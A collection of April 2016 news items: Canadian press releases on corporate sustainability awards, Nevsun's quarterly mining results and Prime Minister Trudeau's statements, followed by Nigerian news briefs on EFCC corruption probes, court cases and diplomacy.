It is IKEA's co-workers continued commitment to the People and Planet Positive strategy that makes IKEA a leader in sustainability. In its second year, the More Sustainable Life at Home project enables co-workers to become even more engaged. Nearly 200 co-workers from across the country have been given $500 worth of IKEA products that save energy, conserve water and help in waste reduction.

"These co-workers are able to see a noticeable difference in their daily lives and are now able to inspire and educate other co-workers and customers about the sustainability benefits of IKEA's products," said Brendan Seale, Sustainability Manager, IKEA Canada.

The following are just a few of the many initiatives that make IKEA one of Canada's Greenest Employers:

All of the cotton we use for our products comes from sustainable sources, our entire lighting range is now LED and in Canada with our 46 megawatt (MW) wind farm, we are energy independent years ahead of the global goal of 2020.

with our 46 megawatt (MW) wind farm, we are energy independent years ahead of the global goal of 2020. All of the seafood served in our restaurants, Bistros, Swedish Food Markets, and co-worker restaurants are either Aquaculture Stewardship Council (ASC), or Marine Stewardship Council (MSC) certified.

We installed electric vehicle charging stations at all of our store across Canada to promote sustainable transportation.

IKEA provides co-workers with annual sustainability training and offers co-workers opportunities to see the impact IKEA has on people and the planet through the IWitness Global Citizens Program.

This award comes on heels of being recently announced as one of the Best Employers in Canada by Forbes Magazine.

ABOUT IKEA CANADA

IKEA is a leading home furnishing retailer with 375 stores in more than 50 countries worldwide, which are visited by 884 million people every year. IKEA Canada has 12 stores, with recently announced plans to open a 13th store in Halifax, Nova Scotia in late 2017, an eCommerce virtual store, Pick-Up and Order Points in Quebec City, Quebec and London, Whitby and St.Catharines, Ontario with two additional Pick-Up and Order Points opening spring 2016. Last year, IKEA Canada welcomed 25 million visitors to its stores and 75 million visitors to the IKEA.ca website. Founded in 1943, IKEA's business philosophy is to offer a wide range of products of good design and function at prices so low, the majority of people can afford them. For more information on IKEA, please visit: www.IKEA.ca.

SOURCE IKEA Canada

For further information: Tanya Bevington, Country Communications Manager, [email protected]
VANCOUVER, April 21, 2016 /CNW/ - Nevsun Resources Ltd. (TSX:NSU)(NYSE MKT:NSU) (Nevsun or the Company) is pleased to report its financial and operating results for the three months ended March 31, 2016. Unless otherwise noted, with the exception of earnings per share and realized price and cost per pound figures, all financial results are in millions of US dollars.

First quarter 2016 highlights

Continued first quartile safety performance at Bisha

Produced 34 million pounds of copper at C1 cash costs (1) of $1.12 per payable pound sold

of per payable pound sold Sold 20,000 gold equivalent ounces from stockpiles

Generated earnings per share of $0.04 and $33 million in operating income

and in operating income Ended period with working capital of $483 million , including $438 million of cash

, including of cash Paid quarterly dividend of $0.04 per share

Financial Review















Q1 2016

Q1 2015 Revenue (millions) $ 92.4 $ 117.2 Operating income (millions)

32.9

42.6 Net income (millions)

15.6

23.0 Net income attributable to Nevsun shareholders (millions)

7.5

12.6 Basic earnings per share attributable to Nevsun shareholders

0.04

0.06 Working capital (millions)

483.3

517.0









Copper price realized, per payable pound sold

2.20

2.49 C1 cash cost per payable pound sold(1) $ 1.12 $ 1.23











"We've concluded another successful and profitable quarter," stated Cliff Davis, President and CEO of Nevsun. "Nevsun earned $15.6 million during Q1 2016 ($7.5 million attributable to Nevsun shareholders) or $0.04 per share. We are pleased to see the impact of our cost reduction efforts in our $1.12 C1 cash cost per payable pound sold. The zinc expansion project continues to progress well with hot ore commissioning scheduled for late Q2 2016. The project will be completed on time and well under budget. We still have not committed any of our zinc off-take so as to take advantage of the expected tightening zinc concentrate supply."

Operations Review









Q1 2016 Q1 2015 Ore mined, tonnes(1) 1,337,000 657,000 Waste mined, tonnes 2,028,000 3,517,000 Strip ratio, (using tonnes) 1.5 5.4 Ore milled tonnes 584,000 441,000 Copper feed grade, % 3.1 4.7 Recovery, % of copper 87.0 83.8 Copper concentrate grade, % 23.0 24.8 Copper in concentrate produced, millions of pounds 34.2 38.0 Copper in concentrate produced, tonnes 15,500 17,200 Payable copper in concentrate sold, millions of pounds(1) 34.9 47.4 Payable copper in concentrate sold, tonnes(1) 15,900 21,500 Payable gold in concentrate sold, ounces 6,000 6,900 Payable silver in concentrate sold, ounces 226,000 369,000 (1) Ore tonnes mined for the three months ended March 31, 2016 included no oxide ore (three months ended March 31, 2015  11,000 tonnes), 732,000 tonnes of supergene ore (three months ended March 31, 2015  518,000) and 605,000 tonnes of primary ore (three months ended March 31, 2015  128,000).

Cliff Davis continued, "We are off to a great start to 2016 with supergene production ahead of guidance and strong demand for our gold equivalent ounces from stockpiles. The precious metal stockpiles sales confirm the marketability of this material at more favourable commercial terms than originally expected. With the strong gold and silver prices, we will prioritize shipping precious metal stockpile material over zinc concentrate to maximize earnings and cash flow."

Conference call details

The Company will hold a conference call on Friday, April 22, 2016, at 8AM Vancouver / 11AM Toronto, New York / 4PM London, to discuss the Q1 2016 results. Please call in at least five minutes prior to the conference call start time to ensure prompt access to the conference. Dial in details are as follows:

North America: 1 888-390-0546 / +1 416-764-8688 / +1 778-383-7413

UK: 0800 652 2435 (toll free)

Other International: +1 416-764-8688 / +1 778-383-7413

The conference call will be available for replay until May 8, 2016, by calling 1 888-390-0541 / +1 416-764-8677 and entering passcode 486448.

About Nevsun Resources Ltd.

Nevsun Resources Ltd. is a Vancouver-based mining company with an operating mine in Eritrea. Nevsun's 60%-owned Bisha Mine ranks as one of the highest grade open pit copper mines in the world. Nevsun has a strong balance sheet and future cash flows to grow shareholder value through exploration at Bisha and acquisition of additional mining assets.

Forward Looking Statements

The above contains forward-looking statements or forward-looking information within the meaning of the United States Private Securities Litigation Reform Act of 1995, and applicable Canadian securities laws. Forward-looking statements are frequently, but not always, identified by words such as "expects," "anticipates," "believes," "intends," "estimated," "potential," "possible" and similar expressions, or statements that events, conditions or results "will," "may," "could" or "should" occur or be achieved. Forward-looking statements are statements concerning the Company's current beliefs, plans and expectations about the future including but not limited to commercial production, future production of copper and related cash flows and are inherently uncertain. The actual achievements of the Company or other future events or conditions may differ materially from those reflected in the forward-looking statements due to a variety of risks, uncertainties and other factors, including, without limitation, the risks that: (i) any of the assumptions in the historical resource estimates turn out to be incorrect, incomplete, or flawed in any respect; (ii) the methodologies and models used to prepare the resource and reserve estimates either underestimate or overestimate the resources or reserves due to hidden or unknown conditions, (iii) exploration activities or the mine operations are disrupted or suspended due to acts of god, internal conflicts in the country of Eritrea, unforeseen government actions or other events; (iv) the Company experiences the loss of key personnel; (v) the Company's operations or exploration activities are adversely affected by other political or military, or terrorist activities; (vi) the Company becomes involved in any material disputes with any of its key business partners, suppliers or customers; (vii) the Company is subjected to any hostile takeover or other unsolicited attempts to acquire control of the Company; (viii) the Company is subject to any adverse ruling in any of the pending litigation to which it is a party; (ix) the Company incurs unanticipated power interruptions or failures due to electrical circuit failures or inadequate fuel quality or supply required to effectively operate power generators for the plant or otherwise or unexpected costs or repairs to the plant; * the Company incurs unanticipated costs as a result of the transition from the supergene ore phase of the Bisha mine to the primary ore phase or experiences challenges with copper mineralogy or host pyrite minerals that impacts metallurgical recoveries and concentrate grades in the transition zone; or (xi) are associated with the speculative nature of exploration activities, periodic interruptions to exploration, failure of drilling, processing and mining equipment, the interpretation of drill results and the estimation of mineral resources and reserves, changes to exploration and project plans and parameters and other risks are more fully described in the Company's Annual Information Form for the fiscal year ended December 31, 2015, which is incorporated herein by reference. The Company's forward-looking statements are based on the beliefs, expectations and opinions of management on the date the statements are made and the Company assumes no obligation to update such forward-looking statements in the future, except as required by law. For the reasons set forth above, investors should not place undue reliance on the Company's forward-looking statements.

Further information concerning risks and uncertainties associated with these forward-looking statements and our business can be found in our Annual Information Form for the year ended December 31, 2015 which is available on the Company's website (www.nevsun.com), filed under our profile on SEDAR (www.sedar.com) and on EDGAR (www.sec.gov) under cover of Form 40-F.

NEVSUN RESOURCES LTD. "Cliff T. Davis" Cliff T. Davis

President & Chief Executive Officer



SOURCE Nevsun Resources Ltd.

For further information: Kin Communications, Tel: 604 684 6730, Toll free: 1 866 684 6730, Email: [email protected], Website: www.nevsun.com
NEW YORK, April 22, 2016 /CNW/ - The Prime Minister, Justin Trudeau, today concluded his visit to New York where, on behalf of Canada, he officially signed the Paris Agreement on Climate Change.

The Government of Canada views climate change not only as a challenge, but as an opportunity. It is a chance to build a clean growth economy that will help to fight climate change, while also creating well-paying jobs for middle class Canadians.

In his address during the signing ceremony, the Prime Minister affirmed Canada's support for the Capacity Building Initiative for Transparency, announcing a $5 million contribution to help developing countries address climate change by meeting their transparency commitments.

The Prime Minister also joined with his fellow heads of state and government to endorse a carbon pricing vision statement. It is only when nations work together  to learn from each other, build on shared knowledge, and develop clean economies  that there is any hope to sufficiently fight climate change.

The Government of Canada knows that a sustainable, low-carbon economy is necessary for the collective prosperity, competitiveness, health, and security of all Canadians. Today, we have taken important steps  in collaboration with our international partners  to leave a cleaner, more prosperous world for our children and grandchildren.

Quotes

"Canada has previously committed $2.65 billion over the next five years to help the developing world grow in a cleaner, more sustainable way. When nations work together, we can address climate change. It's only when we work together that we can learn from each other, build on shared knowledge, and develop economies that are as clean as they are competitive.

 Rt. Hon. Justin Trudeau, Prime Minister of Canada

"The Canadian government is working with provincial, territorial and Indigenous partners to develop a more coordinated, pan-Canadian approach to climate change and carbon pricing so that our children and grandchildren can inherit a Canada more prosperous and sustainable than the one we know today."

 Rt. Hon. Justin Trudeau, Prime Minister of Canada

Associated links

This document is also available at http://pm.gc.ca

SOURCE Prime Minister's Office

For further information: PMO Media Relations: 613-957-5555
Old clothes get a new home through the week-long clothing drive hosted by H&M at CF Toronto Eaton Centre

Event taking place throughout the week at CF Toronto Eaton Centre including Earth Day, Friday April 22

TORONTO, April 18, 2016 /CNW/ - To celebrate World Recycle Week, CF Toronto Eaton Centre has partnered with H&M to in support of the 'Garment Collecting Challenge', a challenge that is part of the global campaign lead by H&M to collect unworn and unwanted clothing. From Monday, April 18th to Sunday, April 24th CF Toronto Eaton Centre shoppers are invited to drop off garments or textiles in any condition to the six foot donation bin located in Alberts Way on Level Two at CF Toronto Eaton Centre. As part of a two-step goal, CF Toronto Eaton Centre and H&M hope to fill one bin with Toronto donations. Afterwards, this bin will be added to the H&M global World Recycle Week goal to reach 1,000 tons of used clothing. The CF Toronto Eaton Centre bin, once full will culminate with a $5,000 donation to Unicef.

"CF Toronto Eaton Centre is pleased to partner with H&M and our H&M flagship store to continue our support for environmental sustainability by rallying the community and our partners together during this important week," said Jeff Simmonds, Marketing Manager. "Sustainability is part of CF Toronto Eaton Centre's core values, one that we know is also extremely important to our customers and retailer partners. We are always looking for new ways to encourage behaviour that promotes sustainability at our centre and the 'Garment Collecting Challenge' is one way we can continue our efforts to promote and practice long-term environmental change."

Shoppers that stop by and make a donation will be fashionably rewarded with a $10 their next purchase at H&M.

Details about the CF Toronto Eaton Centre World Recycle Week activity:

WHAT: World Recycle Week: Garment Collecting Challenge

CF Toronto Eaton Centre proudly hosts World Recycle Week: Garment Collecting Challenge in partnership with H&M; includes donation activities set up in property in support of environmentally conscious behaviour.







WHO: CF Toronto Eaton Centre

H&M







WHEN: Monday, April 18  Friday, April 22 (10:00 a.m. to 9:30 p.m.)





Friday April 22 12:00pm  3:00pm



**INTERVIEW OPPORTUNITIES AVAILABLE**









Jeff Simmonds, Marketing Manager, CF Toronto Eaton Centre



Emily Scarlett, Communications and Press, H&M Canada







WHERE: CF Toronto Eaton Centre, Alberts Way (Level 2) 220 Yonge Street Toronto, ON M5B 2H1



Interview opportunities available upon request on Earth Day, Friday April 22.

About CF Toronto Eaton Centre

Located in the heart of downtown, CF Toronto Eaton Centre is one of the most recognizable landmarks and country's best-known retail shopping destinations. Located in downtown Toronto at 220 Yonge Street, just north of Richmond St, the mixed-use complex spans over three city blocks.

Already the city's premier urban destination, the redevelopment, consisting of both expansions and renovations has reinvented an already unique shopping experience. With over $500 million in recent redevelopment activity, CF Toronto Eaton Centre has added 29 new retailers to its mix including Saks Fifth Avenue and Nordstrom set to open in Fall 2016. For more information, download the CF Shop app or visit www.cfshops.com/toronto-eaton-centre/stores.html.

About Cadillac Fairview:

Cadillac Fairview is one of the largest owners, operators and developers of best-in-class office, retail and mixed-use properties in North America. The company also invests in retail, mixed-use and industrial real estate in Brazil, Colombia and Mexico.

Valued at more than $29 billion, Cadillac Fairview owns over 37 million square feet of leasable space at 71 properties in Canada, including landmark developments, such as Toronto-Dominion Centre, CF Toronto Eaton Centre, CF Pacific Centre and CF Chinook Centre.

Cadillac Fairview has been wholly owned by the Ontario Teachers' Pension Plan since 2000. Ontario Teachers' is a diversified global investor and administers the pensions of more than 300,000 active and retired school teachers.

SOURCE Cadillac Fairview Corporation Limited

For further information: If you are interested in learning more, please contact: Jeff Simmonds, 416-598-8589, Cadillac Fairview
NEW YORK, April 22, 2016 /CNW/ - The Prime Minister, Justin Trudeau, today issued the following statement on International Earth Day:

"Today is Earth Day. It is an opportunity for us to cherish and celebrate Canada's natural beauty from coast to coast to coast. We also take this day to reflect on the impact that each and every one of us can  and must have  on the world around us.

"We must protect our environment  clean air to breathe and clean water to drink means better health for all Canadians. The Government of Canada has already demonstrated leadership and courage as it tackles climate pollution. We have taken important steps with our partners to grow cleaner businesses, develop clean technologies, reduce the footprint of our resource sector, and protect our National Parks.

"Climate change is the great global challenge of our time, but it is also an opportunity for those willing to solve it. Around the world, communities grapple with the complications of a rapidly changing environment. Strong action is needed to address the issues we face  and build a cleaner, stronger, and more sustainable world.

"On this day, I encourage all Canadians to join us in our efforts to conserve and safeguard our natural environment. Every single Canadian has a role to play to protect our earth and leave our children a better world than the one we inherited from our parents."

This document is also available at http://pm.gc.ca

SOURCE Prime Minister's Office

For further information: PMO Media Relations: 613-957-5555
NEW YORK, April 22, 2016 /CNW/ - The Prime Minister, Justin Trudeau, today issued the following statement on the occasion of Passover:

"Tonight at sundown, Jewish families across Canada and around the world will observe the beginning of Passover.

"Families and friends will gather around the Seder table to share food and wine, eat matzah, and recount from the Haggadah the timeless story of the Exodus  one of humanity's great stories of liberation.

"Passover is a time to celebrate freedom, and reaffirm our commitment to face fear with hope, choose unity over division, and never lose faith in the better day that lies ahead.

"As friends and families gather for this joyous celebration, we take this opportunity to recognize the tremendous contributions of Canada's vibrant Jewish community to our great country.

"On behalf of our family, Sophie and I extend our best wishes to all those observing Passover in Canada and around the world.

"Chag Pesach Sameach!"

This document is also available at http://pm.gc.ca

SOURCE Prime Minister's Office

For further information: PMO Media Relations: 613-957-5555
TORONTO, April 22, 2016 /CNW/ - If your organization isn't building sustainability principles into its workplace and day-to-day operations, you're running a huge risk. There's a large class of environmentally-minded consumers and talented employees who will take a pass on your company or workplace if you aren't building these values into your culture  that's the message from this year's winners of the Canada's Greenest Employers competition, announced today by the editors of the Canada's Top 100 Employers project at Mediacorp Canada Inc.

"For years, we advanced the argument that building environmental values into your workplace culture helped organizations reduce waste and recognize the true costs of doing business," says Richard Yerema, Managing Editor at Mediacorp. "Today, we've moved well beyond the business case to the point where we can say that a large part of Canadian society now expects the organizations they deal with to incorporate sustainable business practices into their operations. It's like what we've witnessed over the past few weeks around the unveiling of a beautiful new electric car: record numbers of purchasers want to be a part of this vision, regardless of gasoline prices."

Now entering its 10th year, Canada's Greenest Employers is an editorial competition that recognizes the employers that lead the nation in creating a culture of environmental awareness. The winning employers, selected by the editors at Canada's Top 100 Employers, are evaluated on the following criteria: (1) unique environmental initiatives or programs they have developed; (2) whether they have been successful in reducing their own environmental footprint; (3) whether their employees are involved in these programs and contribute any unique skills; and (4) whether their environmental initiatives have become linked to the employer's public identity and attract new people to the organization. This competition grew out of two remarkable speeches by Al Gore and Robert F. Kennedy Jr. at the annual editorial conference on the Top 100 project in 2006 and 2007.

Here are a few examples of how this year's winners are driving environmental changes in their workplaces and beyond:

Employees at Toronto -based Keilhauer Ltd. have redesigned the furniture maker's manufacturing process and materials to improve the lifespan of its products, use renewable energy and create zero waste from manufacturing operations.

-based have redesigned the furniture maker's manufacturing process and materials to improve the lifespan of its products, use renewable energy and create zero waste from manufacturing operations. The City of Calgary is the first large municipality in Canada to require that all new or renovated city workplaces are LEED-certified, ensuring staff work in buildings designed to the highest environmental standards.

is the first large municipality in to require that all new or renovated city workplaces are LEED-certified, ensuring staff work in buildings designed to the highest environmental standards. Employees at apparel manufacturer Arc'Teryx Equipment Inc. of North Vancouver, BC have achieved impressive waste diversion rates of over 90% with the help of a company initiative that featured colour-coded bins and signage throughout the office, as well as individual training on reducing work-area waste.

of have achieved impressive waste diversion rates of over 90% with the help of a company initiative that featured colour-coded bins and signage throughout the office, as well as individual training on reducing work-area waste. Winnipeg -based Assiniboine Credit Union Limited offers a host of incentives for employees to leave their cars at home  from subsidized bus passes to carpool matching services, this medium-sized credit union makes an outsized impression when it comes to reducing the environmental impact of commuting to work.

-based offers a host of incentives for employees to leave their cars at home  from subsidized bus passes to carpool matching services, this medium-sized credit union makes an outsized impression when it comes to reducing the environmental impact of commuting to work. Employees at Toronto -based Sunnybrook Health Sciences Centre undertook a huge environmental review of the hospital group's operations, focusing on everything from reusable meal containers to adopting new environmentally friendly cleaning products and eliminating stray medical gases.

This year's list of Canada's Greenest Employers was expanded to 65 winners, a reflection of strong interest in the competition and the number of new green projects by employers across the country. For photos and stories on hundreds of other initiatives by this year's winners, please read the editors' detailed "reasons for selection" released this morning at:

http://www.canadastop100.com/green

http://canadastop100.com/green%C2%A0

About Mediacorp

Founded in 1992, Mediacorp Canada Inc. is the nation's largest publisher of employment periodicals and guides. Since 1999, the Toronto-based publisher has managed the annual Canada's Top 100 Employers project, which includes a series of regional and special-interest editorial competitions that annually reach over 13 million Canadians through a group of magazine and newspaper partners. The publishing firm also operates the popular search engine, Eluta.ca, which brings job-seekers new postings directly from employer websites and exclusive editorial reviews from the Canada's Top 100 Employers project. Mediacorp also manages the Top Employer Summit, an annual editorial conference that explores themes related to the Canada's Top 100 Employers project.

CANADA'S GREENEST EMPLOYERS 2016 WINNERS



Aramark Canada Ltd. (Toronto ON) Arc'Teryx Equipment Inc. (North Vancouver BC) Assiniboine Credit Union (Winnipeg MB) BC Housing (Burnaby BC) BC Hydro (Vancouver BC) BC Public Service (Victoria BC) BlackBerry Inc. (Waterloo ON) Body Shop Canada, The (Toronto ON) Cadillac Fairview Corp. Ltd. (Toronto ON) Calgary, City of (Calgary AB) Dalhousie University (Halifax NS) Desjardins Group (Levis QC) Diamond Schmitt Architects Inc. (Toronto ON) EfficiencyOne (Dartmouth NS) Emterra Group (Burlington ON) ENMAX Corporation (Calgary AB) Federated Co-operatives (Saskatoon SK) Ford Motor Company of Canada, Ltd. (Oakville ON) General Motors of Canada Co. (Oshawa ON) Griffith Laboratories Limited (Toronto ON) Hewlett-Packard (Canada) Co. (Mississauga ON) Home Depot of Canada Inc. (Toronto ON) Humber College (Toronto ON) Hydro Ottawa (Ottawa ON) IKEA Canada LP (Burlington ON) Keilhauer Ltd. (Toronto ON) KPMG LLP (Toronto ON) Kwantlen Polytechnic University (Surrey BC) Labatt Breweries of Canada (Toronto ON) Ladysmith, Town of (Ladysmith BC) LoyaltyOne Co. (Toronto ON) Manitoba Hydro (Winnipeg MB) Mohawk College (Hamilton ON) Mountain Equipment Co-op (Vancouver BC) Nature's Path Foods, Inc. (Richmond BC) Ontario Public Service / OPS (Toronto ON) Ottawa, City of (Ottawa ON) Perkins+Will Canada Architects Co. (Vancouver BC) PowerStream, Inc. (Vaughan ON) Provincial Health Services Authority (Vancouver BC) RBC (Toronto ON) Red River College (Winnipeg MB) Rogers Communications Inc. (Toronto ON) RONA Inc. (Boucherville QC) SAS Canada (Toronto ON) SaskTel (Regina SK) School District No. 36 (Surrey BC) Sheridan Nurseries Limited (Georgetown ON) Siemens Canada Limited (Oakville ON) Sunnybrook Health Sciences Centre (Toronto ON) Symcor Inc. (Mississauga ON) TD Bank Group (Toronto ON) TELUS Corporation (Vancouver BC) Toyota Motor Manufacturing Canada Inc. (Cambridge ON) UBC / University of British Columbia (Vancouver BC) University of Alberta (Edmonton AB) University of Northern B.C. (Prince George BC) University of Toronto (Toronto ON) Vancity (Vancouver BC) Vancouver, City of (Vancouver BC) Veridian Corporation (Ajax ON) Whistler Blackcomb (Whistler BC) Xerox Canada Inc. (Toronto ON) YMCA of Greater Toronto (Toronto ON) York University (Toronto ON)

SOURCE Mediacorp Canada Inc.

Image with caption: "2016 Canada's Greenest Employers (CNW Group/Mediacorp Canada Inc.)". Image available at: http://photos.newswire.ca/images/download/20160422_C2129_PHOTO_EN_671751.jpg

For further information: Kristina Leung, Senior Editor, 416-964-6069 x1464
TORONTO, April 22, 2016 /CNW/ - On the three-year anniversary of the deadly Rana Plaza building collapse, the United Steelworkers (USW) and other Canadian trade unions call for continued action to improve working conditions in the Bangladesh garment sector and to ensure garment workers are treated fairly and can work safety.

"The building repairs and corrective actions required by factory inspections are proceeding far too slowly. Bangladesh garment factories are still not safe," said USW National Director Ken Neumann.

The joint labour statement is based on the findings of a Canadian trade union delegation that visited Bangladesh in February 2016. The delegation included participation of the Canadian Labour Congress (CLC), the Canadian Union of Public Employees (CUPE), the Public Service Alliance of Canada (PSAC), Unifor and the United Steelworkers (USW).

"I encourage Steelworkers members and trade union activists to participate in events on May 3, a global day of action demanding that Swedish-based retailer H&M keep its promises to make its Bangladesh supplier factories safe," said Neumann. "We also need to pressure Canadian-based retailers and clothing brands to do the same."

At their recent National Policy Conference in Montreal, USW delegates passed a resolution for stronger action by Canada to promote union rights, living wages and other protections for workers in Bangladesh and countries with similar conditions. The resolution also called for renewed pressure on Canadian retail brands to respect human rights throughout their supply chains.

A report on the findings of the 2016 Canadian labour delegation to Bangladesh is available on the USW website: www.usw.ca/rana-plaza-report-2016

The joint labour statement, Three Years after the Rana Plaza Collapse, is available on the CLC website in French and English: canadianlabour.ca/news/news-archive/rana-plaza-canadian-unions-calling-safer-work-conditions

SOURCE United Steelworkers (USW)

For further information: Doug Olthuis, USW representative on the Labour Delegation to Bangladesh, 416-544-5957 or 416-859-9953, [email protected]; Bob Gallagher, USW Communications, 416-544-5966 or 416-434-2221, [email protected]
Nigeria's Former Finance Minister, Nenadi Usman who was recently arrested by the Economic and Financial Crimes Commission, EFCC has na...

Nigeria's Former Finance Minister, Nenadi Usman who was recently arrested by the Economic and Financial Crimes Commission, EFCC has named some of her accomplices .According to repots, the former Minister named former Aviation Minister Femi Fani-Kayode; former Secretary to the Government of the Federation and Social Democratic Party (SDP) leader Chief Olu Falae; former Imo State Governor Achike Udenwa; former Minister of State for Foreign Affairs Viola Onwuliri and Okey Ezenwa as beneficiaries of billions of Naira withdrawn from the Central Bank of Nigeria.A source within the EFCC who spoke anonymously said, Mrs Usman was the Director of Finance of the Presidential Campaign Committee for the re-election of ex-President Goodluck Jonathan. At the prompting of the former President, N4billion was withdrawn from the CBN under the guise of security needs for disbursement to party chieftains.The cash was transferred into the account of Joint Trust Dimension Nigeria Limited, a company traced to Mrs Usman, where it was later shared to various individuals and organisations for purposes that are not stated. Nenadi, who made a statement to EFCC later went abroad on an undisclosed mission.Her trip slowed down investigation because as a vital coordinator, she ought to reappear for further interrogation. This development made the EFCC to watch-list the ex-minister.Fani-Kayode was the chief beneficiary of the disbursement as he allegedly received N840million, paid in three tranches into his Zenith Bank, Maitama branch account with No.1004735721.The first tranche of payment involving N350million hit the account on February 19, 2015. Another N250milion was also paid into the account on February19, 2015 while N240million was credited to the account a month later; precisely, March 19, 2015. The balance on this account as at 31st December, 2015 was N189, 402.72.Next is Goodluck Support Group, which allegedly received N320million. Falae allegedly received N100m through Marreco Limited, a company where he is Chairman. The fund was credited into the companys United Bank for Africa Plc account No. 1000627022 on March 25, 2014.Both Udenwa and Mrs Onwuliri got N350million in two tranches. The first tranche of N150million was paid into their joint account with Zenith Bank on January 13, 2015. The second tranche of N200miilion was credited into their account with Diamond Bank.Nenadi Usman got funds through her Zenith Bank account no. 1000158311 on 7, Kachia Road, Kaduna; N36.9million was credited to her. Okey Ezenwa got N100million.
The EFCC has sold off 55,000 litres of petrol it seized from an independent marketer in Kano for N85.5 per litre.

The EFCC has sold off 55,000 litres of petrol it seized from an independent marketer in Kano for N85.5 per litre.The petrol was confiscated from an independent marketer two months ago and is estimated to be worth N4.7 million, EFCC spokesman Wilson Uwajaeren said.He explained that the product was seized shortly after it was diverted and off-loaded at an independent filing station located at Abasawa village in Gezawa local government area of Kano.Motorists who bought the petrol expressed satisfaction and happiness.Had the commission adopted this kind of measures, people will not suffer from the scarcity of the product in the state. I am calling on the DPR to also borrow a leaf from the EFCC," Aliyu Isa, a commercial driver said.Another motorist, Muhammad Inuwa Kawo also commended the commission."This is the kind of response the public needed from government agencies responsible for handling fuel matters. We need action not talking. I am sure this single action of the commission will send a bad signal to whoever is into the business fuel diversion," he said.
Kaduna State government yesterday asked a High Court to sentence 50 Shiite members to death for allegedly causing the death of a soldie...

Kaduna State government yesterday asked a High Court to sentence 50 Shiite members to death for allegedly causing the death of a soldier.The government had filed a five-count charge against the accused before Justice David Wyom.It accused them of criminal conspiracy, unlawful assembly, culpable homicide, disturbance of public peace and wrongful restrain.In the petition, counsel to the government, Mr. Bayero Diri, said the offences were punishable under sections 97, 221, 102, 106 and 225 of the Penal Code Law, Laws of Kaduna State 1991.The government said the offence was committed between December 12 and 14 last year in Zaria.It alleged that the suspects, among other things, shot dead Cpl. Yakubu Dankaduna with a gun when he alighted from the convoy to disperse the Shiite members.Section 102 of the Penal Code prescribes death sentence for such offence.The prosecution told the court that they intended to present 39 witnesses.The plea of the accused was not taken, as the judge adjourned sitting till May 16.The News Agency of Nigeria (NAN) learnt that the 50 suspects were among the 265 persons in custody. They were arrested during the Shiites clash with the Army on December 12 and 14 last year.
The libel suit filed by a former Minister of State for Defence, Mr Musiliu Obanikoro, against some media organisations on Friday suffered ...

The libel suit filed by a former Minister of State for Defence, Mr Musiliu Obanikoro, against some media organisations on Friday suffered a temporary setback as court refused his application to restrain them from further publications about him.An Ikeja High Court refused Obanikoros request for an order of injunction against an online news publication  Premium Times, Sahara Reporters and the publisher, Mr Omoyele Sowore and the Punch Newspapers.Justice Oluwatoyin Ipaye, in her ruling, described Obanikoros application as lacking in merit.She said:There is nothing before the court that shows the applicant will suffer more harm if the injunction is not granted.It is an error to seek to restrain a publisher of an article on the grounds of libel if there is no proof before the court that such material is libelous.I am persuaded that this application has no merit and an injunction is not appropriate in the circumstance.The News Agency of Nigeria (NAN) reports that Obanikoro had on Feb. 10, 2015, filed a suit after the defendants allegedly published an audio of how Obanikoro with others purportedly plotted to rig the 2014 Ekiti governorship polls.On Feb. 5, Obanikoro filed an application for an interlocutory injunction restraining the defendants from publishing harmful materials against him pending the determination of the suit.Obanikoro, in his application, had claimed that the defendants had published very damaging material which made him to suffer various political and personal losses.The former senator had also requested for an order of court compelling the defendants to retract all the damaging news publications via a letter of apology in their various media.At Fridays proceedings, Obanikoro was represented by a lawyer, Mr Chukwudi Enebeli, while Punch Newspapers were represented by Mrs O.H. Nurudeen.Sahara Reporters, Premium Times and Sowore have not made appearances in court since the case started.The judge adjourned the case pending when the defendants would file their replies to Obanikoros application.
No avoid the killing of people through accidental discharges, policemen, who abuse alcohol and drugs, will no longer be given arms.

No avoid the killing of people through accidental discharges, policemen, who abuse alcohol and drugs, will no longer be given arms.The Assistant Inspector-General of Police (AIG) in charge of Zone 2, Bala Hassan, reiterated this yesterday at the Police College, Ikeja, during the launch of medical kits for urine drug test, and mass screening for hypertension and diabetes.He said such officers would be rehabilitated before entrusting them with the duty of protecting lives and properties.These officers and men need to be very healthy, fit and safe in order to be able to carry out these statutory duties, he said.Commissioner of Police (CP) in charge of Medical Dr Modupe Obembe said every police officer was expected to be physically, mentally, emotionally and socially fit.Dr Obembe warned policemen to avoid self medication; to be faithful to their partners and avoid unprotected sex; have regular exercise, among others.
Islamic Republic of Pakistan attaches great importance to its bilateral relations with the Federal Republic of Nigeria as both countries ...

Islamic Republic of Pakistan attaches great importance to its bilateral relations with the Federal Republic of Nigeria as both countries share similar views on Regional and International issues of mutual interest including Human Rights and Terrorism. This was disclosed by President Mamnoon Hussain when he met a Nigerian Delegation led by Senator (Dr) Aliyu Magatakarda Wammakko recently in Islamabad.Although, diplomatic relations were established between Pakistan and Nigeria in the 60s , it has not translated into a robust trade and investment. However, bilateral relations between the two brotherly countries have considerably strengthened between 2012-2015 that resulted in enhancement of trade volume from US 80 Million to US 500 Million. The major credit of this achievement goes to the personal efforts of the former Nigerian High Commissioner toPakistan, Ambassador Dauda Danladi, mni, who mobilized the entire Pakistan Chambers of Commerce, the Business Community and government officials to move to Nigeria in various fields such as Agriculture, Defence, Agricultural Machinery, Fertilizers, Leather Garments, Pharmaceuticals and Textile Industries.It will be recalled that President Mamnoon Hussain of the Islamic Republic of Pakistan along with 70 member trade delegation were in Nigeria in 2014 for the first time since the establishment of diplomatic relations.This visit, being the first in the history of Nigeria - Pakistan bilateral relations, was initiated by Ambassador Dauda Danladi,mni former Nigerian High Commissioner to Pakistan. During that historic visit, agreements in the areas of Agricultural Production, textile, Industrial cooperation, Defence Production, Culture and Tourism and the control of illicit trafficking of hard drugs among others were signed.Discussions centered on the need to set up Focus Groups from both countries to fast track the implementation of the agreements signed. During the Presidential visit, President Mamnoon Hussain extended invitation to former Governor of Sokoto State, Dr. Aliyu Magatakarda Wammakko, the Governor of Kano State, Dr Rabiu Musa Kwankoso now Senators of the Federal Republic of Nigeria and the Governor of Nasarawa State to visit Pakistan for collaboration with the Provinces of Pakistan , towards boosting agricultural development.It was in the light of this fraternal gesture that Senator (Dr) Aliyu Magatakarda Wammakko along with the former Nigerian High Commissioner to Pakistan, Ambassador Dauda Danladi,mni recently paid a 14 days visit to Pakistan.The delegation paid a courtesy call on His Excellency President Mamnoon Hussain in Islamabad. Senator Aliyu Magatakarda Wammakko extended the fraternal greetings of President Muhammadu Buhari and the good people of Nigeria and stated that the Government under the able leadership of President Muhammadu Buhari is committed to eradicating terrorism, corruption, andunemployment. He further stated that the Federal Government of Nigeria is according Agriculture and the exploitation of solid minerals 